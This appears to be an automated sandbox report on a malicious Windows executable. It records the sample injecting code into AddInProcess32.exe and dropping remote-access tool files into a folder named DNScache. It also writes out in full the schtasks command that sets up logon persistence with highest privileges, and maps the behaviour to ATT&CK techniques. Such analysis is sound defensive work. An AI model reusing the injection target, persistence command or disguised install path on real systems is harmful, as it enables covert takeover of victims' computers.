Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_00407884 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_00407884

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110CF9F0 _memset,_strncpy,CreateMutexA,OpenMutexA,GetLastError,wsprintfA,OutputDebugStringA,

7_2_110CF9F0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_6CE76C74 VirtualProtect ?,-00000001,00000104,?

7_2_6CE76C74

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

7_2_11029200

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_00401000 lstrcmpA,GetProcessHeap,HeapAlloc,lstrlenA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,

4_2_00401000

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00407884 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00407884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040D978 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0040D978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00407A11 SetUnhandledExceptionFilter,	4_2_00407A11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00406F73 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00406F73
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11092090 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	7_2_11092090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1115E3E1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_1115E3E1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1116A469 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_1116A469
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11030A50 _NSMClient32@8,SetUnhandledExceptionFilter,	7_2_11030A50
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD628E1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_6CD628E1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD687F5 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6CD687F5
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE7ADFC _crt_debugger_hook,_memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,	7_2_6CE7ADFC
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE00807 __report_gsfailure,IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	7_2_6CE00807
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11092090 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	9_2_11092090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1115E3E1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_1115E3E1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1116A469 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_1116A469
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11030A50 _NSMClient32@8,SetUnhandledExceptionFilter,	9_2_11030A50

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 419000	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 422000	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 424000	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 425000	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 427000	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: C4B008	Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetWindowRect,GetWindowLongA,GetClassNameA,GetWindowThreadProcessId,OpenProcess,CloseHandle,FreeLibrary, \Explorer.exe		7_2_1102FB50
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetWindowRect,GetWindowLongA,GetClassNameA,GetWindowThreadProcessId,OpenProcess,CloseHandle,FreeLibrary, \Explorer.exe		9_2_1102FB50

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110F21E0 GetTickCount,LogonUserA,GetTickCount,GetLastError,

7_2_110F21E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_00401A80 GetProcessHeap,RegOpenKeyW,lstrlenW,RegSetValueExW,RegCloseKey,GetProcessHeap,GetProcessHeap,HeapAlloc,GetSystemDirectoryW,HeapFree,GetProcessHeap,HeapAlloc,wsprintfW,GetProcessHeap,HeapAlloc,HeapFree,wsprintfW,ShellExecuteW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

4_2_00401A80

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1110F530 GetKeyState,DeviceIoControl,keybd_event,

7_2_1110F530

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST			Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1109D240 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

7_2_1109D240

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1109D9C0 GetProcAddress,GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

7_2_1109D9C0

Source: client32.exe, 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: client32.exe, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	Binary or memory string: Shell_TrayWnd
Source: client32.exe, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	Binary or memory string: Progman
Source: client32.exe, 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	Binary or memory string: Progman<

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_00407B48 cpuid

4_2_00407B48

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	7_2_111700E5
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_11170376
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	7_2_11170419
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoA,	7_2_11167A6E
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	7_2_1116FFE3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_1116FEEE
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	7_2_1117008A
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_111703DD
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	7_2_111702B6
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_6CD71CC1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoA,	7_2_6CD7DC99
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_6CD7DC56
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	7_2_6CD71DB6
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	7_2_6CD71EB8
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	7_2_6CD71E5D
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	7_2_6CD70F39
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	7_2_6CD6FAE1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	7_2_6CD7DB7C
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	7_2_6CD71680
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	7_2_6CD72089
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_6CD721DC
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: EnumSystemLocalesA,	7_2_6CD72151
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_6CD72175
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	7_2_6CD702AD
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	7_2_6CD71257
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	7_2_6CD72218
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,free,_calloc_crt,strncpy_s,GetLocaleInfoW,GetLocaleInfoW,_calloc_crt,GetLocaleInfoW,GetLastError,_calloc_crt,free,free,__invoke_watson,	7_2_6CE0888A
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _getptd,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_itoa_s,__fassign,free,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,strcpy_s,__invoke_watson,___wtomb_environ,_malloc_crt,_malloc_crt,free,__recalloc_crt,__recalloc_crt,_strlen,_calloc_crt,_strlen,strcpy_s,SetEnvironmentVariableA,_errno,free,free,__invoke_watson,	7_2_6CE08468
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoA,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,_errno,	7_2_6CE065F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,strcmp,strcmp,GetLocaleInfoW,atol,GetACP,	7_2_6CE085AC
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,WideCharToMultiByte,_freea_s,	7_2_6CE086E1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,_freea_s,	7_2_6CE086FD
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,_freea_s,malloc,	7_2_6CE0871C
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	9_2_11170419
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoA,	9_2_11167A6E
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	9_2_1116FFE3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_1116FEEE
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	9_2_1117008A
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	9_2_111700E5
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	9_2_11170376
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	9_2_111703DD
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	9_2_111702B6

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Queries volume information: C:\Users\user\Desktop\Jjv9ha2GKn.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110F1070 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

7_2_110F1070

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_00407771 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_00407771

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1103B170 _calloc,GetUserNameA,_free,_calloc,_free,

7_2_1103B170

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11171199 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,SetOaNoCache,

7_2_11171199

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

7_2_1109D240

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1106F200 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	7_2_1106F200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110D5D90 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	7_2_110D5D90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD4A980 EnterCriticalSection,LeaveCriticalSection,LeaveCriticalSection,LeaveCriticalSection,WSAGetLastError,socket,WSAGetLastError,#21,#21,#21,bind,WSAGetLastError,closesocket,htons,WSASetBlockingHook,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAUnhookBlockingHook,EnterCriticalSection,InitializeCriticalSection,getsockname,LeaveCriticalSection,GetTickCount,InterlockedExchange,	7_2_6CD4A980
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1106F200 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	9_2_1106F200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110D5D90 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	9_2_110D5D90

Source: Yara match	File source: 9.2.client32.exe.6f6f0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.6ceb0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.6ceb0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.6f6f0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.111b32a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.111b32a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.6cd40000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3301652835.00000000004D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client32.exe PID: 828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 6044, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\client32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\AudioCapture.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 Input Capture	12 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	14 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
